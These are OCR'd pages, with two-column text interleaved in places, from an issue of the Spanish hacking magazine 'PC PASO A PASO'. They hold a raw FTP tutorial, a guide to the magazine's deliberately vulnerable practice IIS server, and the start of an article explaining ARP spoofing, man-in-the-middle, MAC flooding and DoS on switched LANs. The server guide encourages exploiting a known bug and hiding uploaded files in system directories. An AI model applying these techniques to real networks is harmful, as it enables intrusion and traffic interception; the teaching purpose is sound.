          LIST:

          LIST
                                                            1.2.9. Listado de nombres
          En ese instante, en nuestro netcat veremos
          aparecer todo el listado. :-)                     Si queremos un listado más simple, en el que
                                                            sólo se nos muestren los nombres de los
                                                            archivos, y no todos sus permisos, podemos
                                                            utilizar el comando NLST en lugar de LIST.
                                                            Sería así para modo pasivo:

                                                            PASV
                                                            227 Entering Passive                       Mode
                                                            (130,206,1,5,190,189)
                                                            NLST
                                                            telnet 130.206.1.5 48829

                                                            Y así para modo activo:

                                                            nc -vv -l -p 5100
                                                            PORT 192,168,1,1,19,236
                                                            NLST


          Un momento... ¿como que no? Vaya... no te         El NLST lo utiliza internamente el comando
          funciona, ¿eh? :-m                                MGET para manejar más fácilmente la lista de
                                                            archivos para el download múltiple.

PC PASO A PASO Nº 11                                                                                             Página 25
Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP




            1.2.10. Bajando archivos (get)                     226-File successfully transferred
                                                               226 250.9 seconds (measured here),
            Para implementar en raw el comando get hay         13.66 Kbytes per second
            que hacer alguna cosilla más que para el dir.
            La cuestión está en que el estándar proporciona    Aquí observamos una diferencia importante con
            varios sistemas diferentes de representación       respecto a los listados, y es que en el telnet
            de la información, aunque básicamente              que abrimos para conectar con el canal de
            podemos considerar sólo 2:                         datos hacemos una redirección de salida a
                                                               fichero (> lco.iso). Con eso conseguimos que
            Ascii (tipo A) – Se utiliza para transmisiones     almacene los datos recibidos directamente sobre
            de texto, como por ejemplo los listados, y no      el archivo lco.iso en nuestro disco duro.
            es válido para transmitir archivos binarios,
            como por ejemplo un ejecutable.                    Así de fácil se haría en un sistema Linux/Unix.
            Binario (tipo I) – Es el modo que se utiliza       Si, en cambio, queréis guardar los datos en un
            habitualmente para bajar un archivo. Es el         archivo en sistemas Windows, tendréis que
            modo que se activa cuando ejecutamos el            configurar vuestra aplicación de telnet para que
            comando bin.                                       guarde el log de la sesión, y después
                                                               renombrar el archivo .log a la extensión que
            Por tanto, lo habitual es que el servidor esté     tuviese el archivo original.
            por defecto en tipo A, y que cuando queramos
            hacer un get o un put de un archivo le             Esto mismo en modo activo:
            indiquemos que utilice el tipo I.
                                                               nc -vv -l -p 5100 > lco.iso
            Si tenéis curiosidad acerca del motivo por el      TYPE I
            cual se utilizan diferentes representaciones       200 TYPE is now 8-bit binary
            para el texto y para los archivos, tened en        PORT 192,168,1,1,19,236
            cuenta que el código ascii estándar consta         200 PORT command successful
            tan sólo de 128 carácteres, los cuales se pueden   RETR lco.iso
            representar con sólo 7 bits, mientras que los      150-Connecting to port 61427
            datos de un archivo están formados por bytes,      150 3430 kbytes to download
            es decir, necesitan 8 bits para ser                226-File successfully transferred
            representados.                                     226 250.9 seconds (measured here),
                                                               13.66 Kbytes per second
            Así que ésta sería la secuencia de comandos
            para hacer un download del archivo lco.iso en      1.2.11. El resume
            modo pasivo:
                                                               Imaginemos que estamos bajando una ISO de
            TYPE I                                             700MB, y cuando llevamos ya bajados 670MB
            200 TYPE is now 8-bit binary                       perdemos la conexión por cualquier motivo.
            PASV                                               ¿Tendríamos que volver a comenzar el download
            227 Entering Passive Mode                          desde cero? Gracias a Dios, el protocolo FTP
            (130,206,1,5,190,189)                              nos da un comando para evitar que esto ocurra:
            RETR lco.iso                                       el comando REST.
            telnet 130.206.1.5 48829 > lco.iso
            150-Accepted data connection                       Supongamos que tenemos un download a
            150 3430 kbytes to download                        medias de un archivo que ocupa 10MB, es decir,

Página 26                                                                                          PC PASO A PASO Nº 11
Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP




              10 * 1024 * 1024 = 10485760 Bytes. Si                   Vamos a ver cómo se haría esto en modo
              nuestro archivo ocupa sólo 987501 Bytes,                pasivo:
              que es hasta donde pudimos bajar en la anterior         TYPE I
              sesión, ésta será la secuencia de comandos              PASV
              para que haga el resume:                                STOR lco.isonc 130.206.1.5 48829 <
                                                                      lco.iso

              TYPE I                                                  Como vemos, aquí no hemos utilizado telnet
              PASV                                                    para conectar, si no netcat, ya que la
                                                                      redirección de entrada no funciona con
              REST 987501                                             telnet.
              RETR lco.iso
              telnet 130.206.1.5 48829 > lco.iso                      Para hacer esto mismo en modo activo:

              1.2.12. Subiendo archivos (put)                         nc -vv -l -p 5100 < lco.iso
                                                                      TYPE I
                                                                      PORT 192,168,1,1,19,236
              Aquí se complica un poco más la cosa, ya que            STOR lco.iso
              ya no nos limitamos a establecer una conexión
                                                                      1.2.13. Bye bye...
              de datos con el servidor, si no que además
              tenemos que transferir un archivo nosotros              Para terminar con los comandos RAW, tenemos
              mismos a través de esa conexión.                        el comando QUIT:
                                                                      QUIT
                                                                      que, como podemos imaginar sin mucho
              El comando para subir archivos es STOR, y su            esfuerzo, sirve para implementar el comando
              sintáxis es la misma que la del comando RETR.           BYE, es decir, para cerrar la sesión.
              Así que la diferencia más importante con RETR
                                                                      Pero aquí no termina la cosa, ya que aún falta
              es que tenemos que apañárnoslas para                    la segunda parte del artículo, que es en la
              transferir el archivo automáticamente a través          que explico diversas técnicas para explotar las
              del canal de datos. Para ello podemos utilizar          carencias de seguridad de este protocolo. Así
              la redireccion de entrada desde fichero,                que estad bien atentos a la revista el próximo
                                                                      mes, que ahora viene lo más interesante. ;-)
              que es lo contrario de lo que hacíamos con el
              get.                                                    Autor: PyC (LCo) // Ilustraciones: MariAn (LCo)

La media actual de participantes es de SOLO 230 personas: este es el sorteo más facil de ganar que existe !!! ANIMATE Y PARTICIPA !!!


                      SI TE GUSTA LA INFORMÁTICA.
              SI ESTAS “CABREADO” CON GÜINDOUS ;)
                 SI QUIERES PROGRESAR DE VERDAD
                                                                                                Incluye 7 CD’s y 1 DVD
                          PC PASO A PASO                                                        Manual de Instalación.
               SOR TEA CADA MES UN S.O.                                                         Manual de Administracion

            SUSE LINUX PR OFESSION AL 8.2
              SIMPLEMENTE ENVIA LA PALABRA
                     PCCON AL 5099
                               DESDE TU MOVIL
           PRECIO DEL MENSAJE: 0,90€ + IVA. VALIDO PARA (MOVISTAR - VODAFONE Y AMENA)
                                       IVA. VALIDO PARA (MOVISTAR


                        EL PREMIO PUEDE SER CANJEABLE POR UN JUEGO
                            DE PC O CONSOLA QUE NO SUPERELOS 85€
           EL GANADOR SALDRA PUBLICADO AQUÍ 2 NÚMEROS DESPUES DE LA PUBLICACIÓN.




 PC PASO A PASO Nº 11                                                                                                   Página 27
SERVIDOR DE HXC
                                        MODO DE EMPLEO


 1.- Toma de contacto:                                                                           Web y tiene su raíz en d:inetpub (el directorio por defecto)

 Hack x Crack ha habilitado un Servidor para que puedas realizar las                             Nota: Para quien nunca ha tenido instalado el IIS, le será extraño tanto el nombre de esta
 “prácticas de hacking”.                                                                         carpeta (d:inetpub) cómo su contenido. Como ya te dijimos en anteriores números de
                                                                                                 PC PASO A PASO, la única manera de conocer “algo” es “tocándolo”… una buena práctica
 Actualmente tiene el BUG del Code / Decode y lo dejaremos así por                               sería que instalases el IIS en tu PC y conocieses su funcionamiento.
 un tiempo (bastante tiempo ;) Nuestra intención es ir habilitando
 Servidores a medida que os enseñemos distintos tipos de Hack, pero                              De momento, lo único que hay que saber es que cuando TÚ
 por el momento con un Servidor tendremos que ir tirando (la economía                            pongas nuestra IP (la IP de nuestro servidor) en tu explorador
 no da para mas).                                                                                Web (por ejemplo el Internet Explorer), lo que estás haciendo
                                                                                                 realmente es ir al directorio d:Inetpubwwwroot y leer un archivo
 2.- ¿Cómo puedo “hackear” el Servidor?                                                          llamado default.htm (ese archivo es la página Web que verás en
                                                                                                 ti Explorador).
 El BUG Code/Decode y la forma de “explotarlo” fue extensamente
 explicado en los números 2 y 3 de PC PASO A PASO.                                               Otra Nota :) Como curiosidad, te diremos que APACHE es otro Servidor de páginas Web
                                                                                                 (seguro que has oído hablar de él y estás siguiendo nuestros cursos ¿verdad?). Si
 En el Servidor corre el Sistema Operativo Windows 2000 Advanced                                 tuviésemos instalado el apache, cuando pusieses nuestra IP en TU navegador, accederías
 Server con el Software IIS (Software Servidor de Páginas Web) y                                 a un directorio raíz del Apache (donde se hubiese instalado) e intentarías leer una página
 puedes encontrarlo en la IP 80.36.230.235.                                                      llamada index.html

 Si quieres acceder a él simplemente tienes que abrir tu navegador                               Explicamos esto porque la mayoría, seguro que piensa en un Servidor Web como en algo
 preferido (por ejemplo el Internet Explorer) y poner http://80.36.230.235                       extraño que no saben ni donde está ni como se accede. Bueno, pues ya sabes dónde se
  ---> Si el servidor está ON LINE te encontrarás unos cuantos mensajes:                         encuentran la mayoría de IIS (en Inetpub) y cuál es la página por defecto
 Un saludo de los participantes de Hack x Crack, unas cuantas                                    (Inetpubwwwrootdefault.htm). Y ahora, piensa un poco… … ¿Cuál es uno de los objetivos
 recomendaciones y todo eso :)                                                                   de un hacker que quiere decirle al mundo que ha hackeado una Web? Pues está claro, el
                                                                                                 objetivo es cambiar (o sustituir) el archivo default.html por uno propio donde diga “hola,
 NOTA: Una cosa es acceder al servidor y otra hackearlo para acceder al resto del Sistema. Si    soy DIOS y he hackeado esta Web” (eso si es un lamer ;) A partir de ese momento,
 lees los números 2 y 3 de PC PASO PASO ten por seguro que podrás hackearlo y acceder a          cualquiera que acceda a ese servidor, verá el default.htm modificado para vergüenza del
 todos los discos duros (y mucho más).                                                           “site” hackeado. Esto es muy genérico pero os dará una idea de cómo funciona esto de
                                                                                                 hackear Webs ;)
 3.- ¿Puedes decirme algo más del Servidor?
                                                                                                 4.- IDEAS Y RECOMENDACIONES:
 3.1 – Discos Duros y Raíz del Sistema Operativo
                                                                                                 Cuando accedas a nuestro servidor mediante el CODE / DECODE
 El   Servidor tiene tres discos duros:                                                          BUG, crea un directorio con tu nombre (el que mas te guste, no
 *    La unidad c: --> Con 2 GB                                                                  nos des tu DNI) en la unidad e: Ya sabes que no borraremos nada
 *    La unidad d: --> Con 35 GB (Raíz del Sistema)                                              (excepto el WAREZ) de este disco duro y a partir de ese momento
 *    La unidad e: --> Con 40 GB (Disco de los usuarios)                                         podrás utilizar ese directorio para hacer tus prácticas. Ya sabes,
                                                                                                 subirnos programitas y practicar con ellos :)
 El DISCO C: no tiene nada interesante, es una simple unidad de
 arranque alternativo.                                                                           Puedes crearte tu directorio donde quieras y en el disco duro que
                                                                                                 quieras, no es necesario que sea en e:mellamojuan. Tienes total
 El DISCO D: es Raíz del Sistema. Eso significa que el Windows Advanced                          libertad!!! Una idea es crearlo, por ejemplo, en
 Server está instalado en esa unidad (la unidad d:) y concretamente                              d:winntsystem32defaultmellamojuan (ya irás aprendiendo que
 en el directorio por defecto winnt                                                            cuanto mas oculto mejor :) **Pero recuerda que solo respetaremos
 Por lo tanto, la raíz del sistema está en d:winnt                                             el contenido del DISCO E **

 El DISCO E: es donde los usuarios pueden crearse un directorio propio                           Es posiblemente la primera vez que tienes la oportunidad de
 donde guardar sus herramientas de Hacking. Está claro que no podrás                             investigar en un servidor como este sin cometer un delito (nosotros
 crear directorios ni nada si no lo hackeas, ya sabes, repasa los números                        te dejamos y por lo tanto nadie te perseguirá). Aprovecha la
 2 y 3 de esta publicación.                                                                      oportunidad!!! e investiga mientras dure esta iniciativa (que
                                                                                                 esperamos dure largos años).
 NOTA: TODO EL CONTENIDO DEL DISCO E SERÁ RESPETADO POR LOS ADMINISTRADORES DEL
 SERVIDOR. Como ya te puedes imaginar, el Servidor es brutalmente hackeado por los usuarios      MUY IMPORTANTE!!!!! Por favor, no borres archivos del Servidor si no sabes
 y para que siga en funcionamiento LO RESTAURAMOS CADA SEMANA. Esto significa que cada           exactamente lo que estás haciendo ni borres las carpetas de los demás usuarios.
 semana los discos C y D son borrados y el Sistema Operativo es instalado de nuevo. El disco E   Si haces eso, lo único que consigues es que tengamos que reparar el sistema
 es para los lectores y salvo que ocurra un desastre NUNCA SE BORRA, puedes guardar allí tus     servidor y, mientras tanto, ni tu ni nadie puede disfrutar de él. Es una tontería
 utilidades. **Se advierte que si subes WAREZ al Servidor, tendremos que borrarlo. Esa es una    intentar “romper” el Servidor, lo hemos puesto para que disfrute todo el mundo
 actividad ILEGAL y podemos buscarnos la ruina.**                                                sin correr riesgos, para que todo el mundo pueda crearse su carpeta y practicar
                                                                                                 nuestros ejercicios. En el Servidor no hay ni Warez, ni Programas, ni claves, ni nada
 3.2 – Raíz del Internet Information Server (IIS)                                                de nada que “robar”, es un servidor limpio para TI, por lo tanto cuídalo un poquito
 El IIS, Internet Information Server, es el software Servidor de páginas                         y montaremos muchos más :)


Página 28                                                                                                                                            PC PASO A PASO Nº 11
INTRUSIoN EN REDES DE AREA
         LOCAL. LA PESADILLA DE
          TODO ADMINISTRADOR


          - Ten cuidado cuando leas este articulo, Si hasta ahora te sentias medianamente seguro
          detras de un firewall y/o cuando establecias conexiones seguras por SSL, a partir de
          este momento dejarás de estarlo.

          - BIENVENIDO A LA REALIDAD: La Seguridad NO EXISTE !!!.



                                  -    N O T A           D E       H A C K           X     C R A C K            -

           E n e l fo r o d e n u e s t ra We b ( w w w. h a c k xc ra c k . c o m ) , s e p i d e q u e p u b l i q u e m o s
           m e n o s c u r s o s y m á s h a c k ; p e r o l o s c u r s o s s o n i m p o r t a n t e s p a ra q u i e n e s s e
           acercan por primera vez a este mundo nuestro (la informática y en particular
           la seguridad informática).

           Durante el cierre de la edición nos llegó este excelente artículo y no pudimos
           e v i t a r e l p u b l i c a r l o. N O TO D O E L M U N D O va a e n te n d e r l o, n o, n o e s q u e s e a
           u n t e x t o “ s o l o p a ra a va n z a d o s ”, p e r o p o d e m o s c o n s i d e ra r l o c o m o u n t e x t o
           de dificultad media... este es el primer texto que publicamos “a conciencia”
           de que algunos no serán capaces de exprimir el 100% de su contenido.

           S i h a s s e g u i d o e s t a p u b l i c a c i ó n d e s d e e l p r i n c i p i o, h a s e s t u d i a d o t o d o s l o s
           cursos (eso implica que ya te has familiarizado un poco con LINUX) y eres de
           los que no se dan por vencidos... sabemos que podrás asimilar este artículo.
           S i e r e s d e l o s q u e “ s o l o l e e ” p e r o n o p ra c t i c a , e s t a m o s s e g u r o s d e q u e t e
           sorprenderán las próximas páginas.

           L a i n t e n c i ó n d e e s t e m o n ó l o g o e s h a c e r t e l l e g a r n u e s t ra p r e o c u p a c i ó n p o r
           I N T E N TA R L L E G A R A TO D O E L M U N D O, s i n i m p o r t a r e l n i ve l i n fo r m á t i c o q u e
           posea. Tenemos textos que no publicamos porque serían incomprensibles para
           la mayoría de los lectores, estamos incluso planteándonos publicarlos en la
           We b d i r e c t a m e n t e p o r q u e n o s a b e m o s s i s e r í a n o n o a c e p t a d o s e n m e d i o
           impreso.

           Os proponemos que en el FORO (con ya casi 2500 miembros) nos ofrezcas tu
           opinión sobre lo complejo (o no) de este artículo, si has sido (o no) capaz de
           seguirlo o por el contrario dista mucho de tu nivel actual.

           NECESITAMOS TUS OPINIÓN y ya hemos demostrado que, poco a poco, vamos
           m o d i f i c a n d o l a r e v i s t a e n f u n c i ó n d e l o q u e n o s p r o p o n e s . B u e n o, a g a r ra t e
           fuerte y adelante !!!




PC PASO A PASO Nº 11                                                                                                                        Página 29
INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL




            1.- NOTA DEL AUTOR.                                  En cuarto lugar, repetir el “sermón de siempre”.
                                                                 Este artículo, ha sidoescrito con la perspectiva
            Hola a todos de nuevo.                               de mejorar el conocimiento sobre como vuestros
            Este es mi segundo artículo para esta revista        sistemas pueden ser atacados con el fin de que
            y al igual que en el anterior me gustaría            podáis estar prevenidos. EN NINGUN caso
            comentar unos cuantos puntos importantes             animo, apoyo, realizo, comulgo ni colaboro con
            antes de entrar de lleno con el tema que hoy         ningún tipo de acto delictivo.
            nos atañe...
                                                                 Tened en cuenta que el abuso de las
            En primer lugar quiero dejar claro que este          herramientas y técnicas expuestas en este
            artículo trata de profundizar en el concepto de      artículo puede resultar ilegal y, cuando menos,
            intrusión en redes (especialmente redes              atentar contra el derecho a la intimidad y
            conmutadas). Ver como es esto posible y              privacidad de personas y/o entidades. Allá cada
            conocer sus posibilidades. No pretende               uno con su conciencia...
            ser una guía definitiva, aunque sí intento
            estimularos para que penséis en nuevas formas        Finalmente, y también como es de rigor, quisiera
            de aplicar estas técnicas... Si vosotros no lo       dar el mérito a quien lo tiene. Gracias, como
            hacéis para tratar de mejorar la seguridad de        siempre, a Breos por su inestimable colaboración.
            vuestros sistemas, alguien lo hará para tratar       Para este artículo concreto hemos realizado las
            de burlarla.                                         prácticas entre los dos, uniendo nuestras redes
                                                                 y conocimientos y divirtiéndonos juntos con los
            Por ello debo enfatizar y repetir que mi intención   resultados. Gracias a Dug Song, Gerald Combs
            NO es que sepáis como burlar la seguridad de         (y colaboradores), Laurent Licour & Vincent
            una red para aprovecharos fraudulentamente           Royer, y tantos otros de cuyos documentos,
            de ello. Lo que cada uno haga con esta               ideas y herramientas me he nutrido desde hace
            información será sólo y exclusivamente               tiempo, y que han dado pié a este artículo.
            responsabilidad suya.
                                                                 2.- UNA PINCELADA DE TEORÍA.
            En segundo lugar dejar clara una cosa. Los           Sé que a algunos (pocos, espero) de los
            que me conocen saben que tengo especial              que leáis esto estaréis poco (o nada)
            predilección por Linux como Sistema Operativo.       interesados en los fundamentos teóricos.
            Al igual que pasaba con el artículo acerca del       Lo mejor que podéis hacer, si ese es vuestro
            reverse shell (en concreto la parte del túnel        caso, es pasar al siguiente punto, pues este os
            HTTP), algunas de las cosas propuestas en            aburrirá. Lo mismo para aquellos de vosotros
            este documento se describirán tan sólo bajo          que ya conozcáis la teoría relacionada con
            Linux. Si tu interés como lector se centra en        redes ethernet y tráfico ARP. También
            el mundo Windows, este artículo aun te               se que una revista de estas características
            será válido... Pero deberás encontrar por ti         no pasa por ser un manual sobre teoría de
            mismo la forma de llevar a cabo ciertas técnicas.    redes... Sin embargo, en mi modesta
                                                                 opinión, es importante conocer los principios
            En tercer lugar, y como siempre, recordaros          teóricos que permiten burlar la seguridad
            que disponéis de muchísima documentación             de una red... O al menos acercarnos a
            en Internet que podéis y debéis usar como            ellos. Así pues, trataremos de acercarnos
            fuente de investigación, al margen de esta           ahora a los conceptos de ARP y “MAC Address”
            revista y de este artículo en concreto...            y su importancia en redes Ethernet...
                                                                 Vamos allá ;).

Página 30                                                                                             PC PASO A PASO Nº 11
INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL




          2.1.- ¿Qué es y para qué sirve la MAC
          Address?                                                !             Po d r í a m o s        e n t ra r. . .
          Todo equipo conectado en una LAN de tipo
          Ethernet/IP necesita dos direcciones: La                Podríamos entrar ahora en detalles acerca de cómo están
          dirección IP (que lo identifica dentro de esa           formadas las redes, las distintas capas o niveles que forman
          LAN) y una dirección denominada “MAC                    una red y que elementos componen cada una de esas capas...
          Address”.                                               Pero eso alargaría innecesariamente este artículo, y es
                                                                  materia para otro documento en si mismo.
          En teoría, esta MAC Address es “única en el
          mundo” para ese dispositivo, dado que está
          formada por un conjunto de números y seriales       Por lo tanto, toda dirección IP debe ser traducida
          que identifican al dispositivo y al fabricante.     a una dirección MAC para poder mantener el
          No quiero extenderme demasiado en la forma          tráfico Ethernet necesario sobre el que fluirá el
          en que está formada una MAC Address... Baste        tráfico IP. En otras palabras... En una red
          decir que es imprescindible para que en una         Ethernet los equipos se hablan entre sí usando
          red Ethernet se puedan enviar y recibir los         las direcciones MAC de cada uno.
          “frames” de datos entre los diferentes
          dispositivos que pertenecen a dicha Ethernet.       Nos encontramos ahora ante un problema: A
          En otras palabras: En una red Ethernet cada         la hora de tratar de enviar información a un
          equipo se distingue de los demás por su             dispositivo u ordenador, lo único que sabemos
          MAC Address, que lo identifica de forma             sobre él es su dirección IP. ¿Cómo obtenemos
          única.                                              su dirección MAC? Aquí entra en juego el
                                                              protocolo ARP (“Address Resolution Protocol”
          Por otro lado, la dirección IP forma parte de       o Protocolo de Resolución de Direcciones).
          un protocolo de nivel superior, que es
          independiente de la tecnología de red usada         ARP funciona enviando paquetes “Arp request”
          por debajo (en nuestro caso Ethernet). A cada       (solicitudes ARP). Estas solicitudes tienen forma
          dispositivo dentro de la red se le puede asignar    de pregunta que podríamos traducir como:
          una dirección IP, que también debe ser única
          dentro de su red. Es importante notar que, por      “¿Tienes tú la IP xxx.xxx.xxx.xxx?... Si la tienes...
          norma general, esta dirección IP es virtual (se     ¿Cuál es tu dirección MAC?”.
          puede asignar cualquiera a cualquier equipo),
          al contrario de la dirección MAC que                Esta pregunta se lanza a TODOS los equipos
          tradicionalmente es una dirección fija asignada     de una red (broadcast). Una vez responde el
          “de fábrica” a cada dispositivo (aunque en          equipo adecuado (mediante un paquete “ARP
          ciertos Sistemas Operativos es posible modificar    reply” que dirá “Sí, yo tengo esa IP y mi dirección
          la dirección MAC a la que responderá tu tarjeta     MAC es ésta”), ya disponemos de los datos
          de red... Pero ese es otro tema).                   necesarios para iniciar el tráfico de red con
                                                              dicho equipo o dispositivo.
          IP y Ethernet deben trabajar en conjunción.
          No se puede mantener tráfico IP sin que exista      2.2.- La tabla ARP.
          una capa inferior de red que “lleve” los paquetes   Como se puede observar, cada vez que
          IP. En este caso, dicha capa está formada por       queramos enviar o recibir un paquete de otro
          una red Ethernet, que fragmenta los paquetes        equipo necesitaremos realizar un “broadcast”
          IP en “frames” Ethernet, agregándole unas           y requerir a todos los equipos de la red con
          cabeceras propias.                                  una petición ARP request... Esta tarea puede

PC PASO A PASO Nº 11                                                                                                  Página 31
INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL




            resultar pesada y, sin duda, genera tráfico de    simplemente descarta dicho paquete. Pero la
            red innecesario. Para solventar este problema,    mayoría de las tarjetas de red traen incorporada
            los S.O. disponen de una TABLA CACHE DE           una funcionalidad necesaria para el análisis de
            “ARP REPLY”.                                      redes y detección de problemas (como cuellos
                                                              de botella): El modo promiscuo. Una vez que
            La tabla contiene pares de direcciones IP y       una tarjeta entra en modo promiscuo, acepta
            MAC, más o menos de la siguiente forma:           TODOS los paquetes que le llegan, vayan
                                                              destinados a ella o no. De esa forma, es posible
            IP                       MAC                      espiar todo el tráfico generado en una red...
            192.168.0.1              00:04:76:25:5F:A3
            ...

            Esta caché funciona como todas las caches,
            manteniendo las últimas entradas (respuestas)
            que hemos recibido de otros equipos de la red.
            Cada vez que a un equipo le llega un “ARP
            reply” de otro equipo, actualiza su tabla caché
            con los pares IP/MAC recibidos. De esta forma,
            si dentro de un determinado límite de tiempo
            necesitamos volver a comunicar con ese equipo,
            no tendremos que preguntar a todos “¿Quién
            tiene esta IP y cual es su MAC Address?”,
            bastará con que busquemos en nuestra tabla
            ARP una entrada equivalente a dicha IP. Si
            aparece allí ya no será necesario preguntar,
            pues nuestro Sistema extraerá la MAC de
            nuestra tabla.
            Estas tablas ARP son el objetivo del
            “envenenamiento ARP” (ARP poisoning) para         Pero entonces llegaron los SWITCHES. Las redes
            conseguir la “suplantación ARP” (ARP spoofing),   formadas por switches se conocen como redes
            conceptos en los que entraremos de lleno          “conmutadas”. Veamos por qué... Un Switch es
            enseguida.                                        un dispositivo capaz de generar y mantener
                                                              unas tablas en las que relaciona direcciones
            2.3.- Diferencia entre redes compartidas          MAC con números de puerto en el switch (un
            y redes conmutadas (HUBS vs                       puerto en un switch se puede ver como una
            SWITCHES)                                         entrada rj-45 a la que llega un único cable de
            Tiempo ha, esnifar una red era relativamente      red). Las tablas podrían ser similares a la
            sencillo. La mayoría de las redes eran            siguiente:
            “compartidas” (shared) formadas por HUBS.
            Con esa arquitectura, los paquetes viajan por     MAC                               PUERTO
            todos los hilos de una red, llegando a todas      00:04:76:25:5F:A3                 2
            las tarjetas de red por igual. Es tarea de la     00:04:76:22:3E:AD                 1
            tarjeta el decidir si se queda o no con un        ...
            paquete concreto. Si dicho paquete lleva
            codificada su dirección MAC, la tarjeta se da     Con esta información, y asumiendo que a cada
            por aludida y acepta el paquete. Si no...         puerto del switch se conecte un único ordenador

Página 32                                                                                         PC PASO A PASO Nº 11
INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL




          (tarjeta) o dispositivo, el tráfico ya no llega a   Consiste en enviar paquetes “ARP reply” a una
          todos los equipos de la red: Tan sólo al equipo     máquina de forma que en su tabla ARP figuren
          con la MAC de destino adecuada. Es decir, los       entradas falsas. Supongamos el siguiente
          Switches saben POR QUE CABLE deben llegar           ejemplo:
          a cada tarjeta de red, con lo que los paquetes
          ya NO se envían a todas las tarjetas de red,        Maquina UNO:
          sólo a la de destino... parecía que habían hecho    -      IP: 192.168.0.1
          realidad el famoso eslogan: “El esnifar se va       -      MAC: 00:04:76:22:3E:AD
          a acabar”...
                                                               Maquina DOS:
                                                              -      IP: 192.168.0.2
                                                              -      MAC: 00:04:75:25:3F:AE

                                                               Maquina ATACANTE:
                                                              -      IP: 192.168.0.10
                                                              -      MAC: 00:04:76:34:2A:2F

                                                              En condiciones normales, la tabla ARP de la
                                                              Máquina UNO sería similar a la siguiente:

                                                               IP                   MAC
                                                               192.168.0.2          00:04:75:25:3F:AE
                                                              192.168.0.10   00:04:76:34:2A:2F

                                                              El tráfico entre Máquina UNO y Máquina DOS
                                                              fluiría tal y como se observa en el gráfico
          2.4.- ARP SPOOFING (o suplantación                  siguiente.
          ARP)

          Fue entonces cuando oí hablar por primera vez
          de Dug Song y su dsniff. No sé si fue el
          primero... Pero fue el primero que yo conocí.

          La teoría era simple: ¿Por qué no usar el
          protocolo ARP para “engañar” a otras máquinas
          haciéndoles creer que una IP concreta está en
          mi MAC Address?

          O en otras palabras: Vamos a envenenar la
          tabla caché ARP de una máquina para suplantar
          una dirección MAC, añadiendo una entrada
          que diga que la IP de otra máquina se
          corresponde con la MAC Address de mi
          máquina.
                                                                                      Gráfico 3
          El procedimiento básico es sencillo de entender.

PC PASO A PASO Nº 11                                                                                          Página 33
INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL




            Mediante arp spoofing podemos conseguir          Se hacía posible, nuevamente, esnifar tráfico
            envenenar esta tabla caché (la de Máquina        que no saliese de nuestra máquina ni estuviese
            UNO) para que presente este aspecto:             destinado a ella... “El Retorno del sniffing” ;)

                IP                      MAC                  3.- DISTINTAS FORMAS DE APROVECHAR
            192.168.0.2             00:04:76:34:2A:2F        EL ENVENENAMIENTO ARP.
            192.168.0.10            00:04:76:34:2A:2F        Y ya estamos de lleno en el tema. Sabemos
                                                             que podemos engañar a un equipo haciéndole
            Como vemos, asociada a la IP de la Máquina       creer que la dirección IP a la que quiere enviar
            DOS está la dirección MAC de la Máquina          un paquete está ligada a una MAC Address
            ATACANTE (nuestra máquina). De esa forma,        que no se corresponde con la real (p. Ej. La
            cada vez que la Máquina UNO trate de enviar      de nuestra máquina). Esto nos muestra un
            un paquete a la Máquina DOS, ¡en realidad lo     sinfín de posibilidades...
            estará enviando a la Máquina ATACANTE!
                                                             Podemos realizar ataques DoS contra una
            Incluso podemos hacer lo mismo con la caché      máquina (simplemente inundando su caché
            de la Máquina DOS para que el tráfico devuelto   con MAC falsas), o incluso contra toda la red.
            pase también a través de Máquina ATACANTE.
            La tabla caché de Máquina DOS quedaría como      También podemos intentar un ataque de tipo
            sigue:                                           MAC Off (MAC flooding, en realidad), inundando
                                                             la red de muchas peticiones falsas a toda
                IP                      MAC                  pastilla, y consiguiendo que ciertos switches
            192.168.0.1             00:04:76:34:2A:2F        entren en modo “hub” (entran en una especie
            192.168.0.10            00:04:76:34:2A:2F        de “modo a prueba de fallos”, si queréis verlo
                                                             así), permitiéndonos esnifar todo el tráfico
            Esto haría que el tráfico entre Máquina UNO      como si estuviésemos en una red compartida
            y Máquina DOS fluyese como se observa en         (shared). Sin embargo, esta técnica resulta
            el siguiente gráfico.                            muy visible y no funcionará con todos los
                                                             switches... En mi experiencia, he obtenido
                                                             resultados demasiado erráticos como para
                                                             recomendar su uso en la práctica.

                                                             También podríamos intentar el hijacking de
                                                             una conexión, el “inundar” una red para
                                                             “comernos” su ancho de banda usando las
                                                             direcciones de “broadcast”, o, incluso, para
                                                             algo mucho más legítimo como mantener un
                                                             sistema de alta disponibilidad (en el momento
                                                             en que cae el sistema principal, el sistema
                                                             secundario podría realizar una suplantación
                                                             ARP para hacer creer a todos los PCs que él
                                                             es el sistema principal y continuar dando el
                                                             servicio), si bien no es una práctica
                                                             recomendada ni demasiado viable en redes
                                                             grandes o críticas, os aseguro que funciona
                       Gráfico 4
                                                             perfectamente.

Página 34                                                                                        PC PASO A PASO Nº 11
INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL




            Pero nos vamos a centrar en dos opciones
            que considero como las más interesantes: el            !            Se debe tener...
            MiM (“Man in the Middle” u “Hombre en el
            Medio”... También denominado a veces                   Se debe tener en cuenta que el tiempo de vida en la caché
            “Monkey in the Middle” o “Mono en el                   es limitado... Además, la máquina suplantada responderá
            Medio”) y el IP Spoofing (suplantación                 con ARP “reply” cada vez que CUALQUIER máquina de
            de IP).                                                la red pregunte su IP, con lo que nuestra entrada falsa se
                                                                   vería “pisada” por una entrada verdadera (recordemos que
            3.1.- MiM: Profundizando.                              las respuestas ARP se envían en broadcast a todas las
            ¿Qué pasa cuando suplantamos una dirección             máquinas de la red). Existen dos maneras de minimizar
            MAC? Veámoslo con 3 máquinas:                          este problema. La primera, y la más usada, consiste en
                                                                   hacer “spamming” de respuestas ARP (ARP reply). Es
            Tenemos el ejemplo anterior (Maquina UNO,              decir, “envenenar” constantemente la caché del equipo
            Máquina DOS y Máquina ATACANTE). La                    atacado a intervalos regulares. La inmensa mayoría de los
            configuración de la tarjeta de red de cada             programas utilizan esta técnica. La segunda... En fin, la
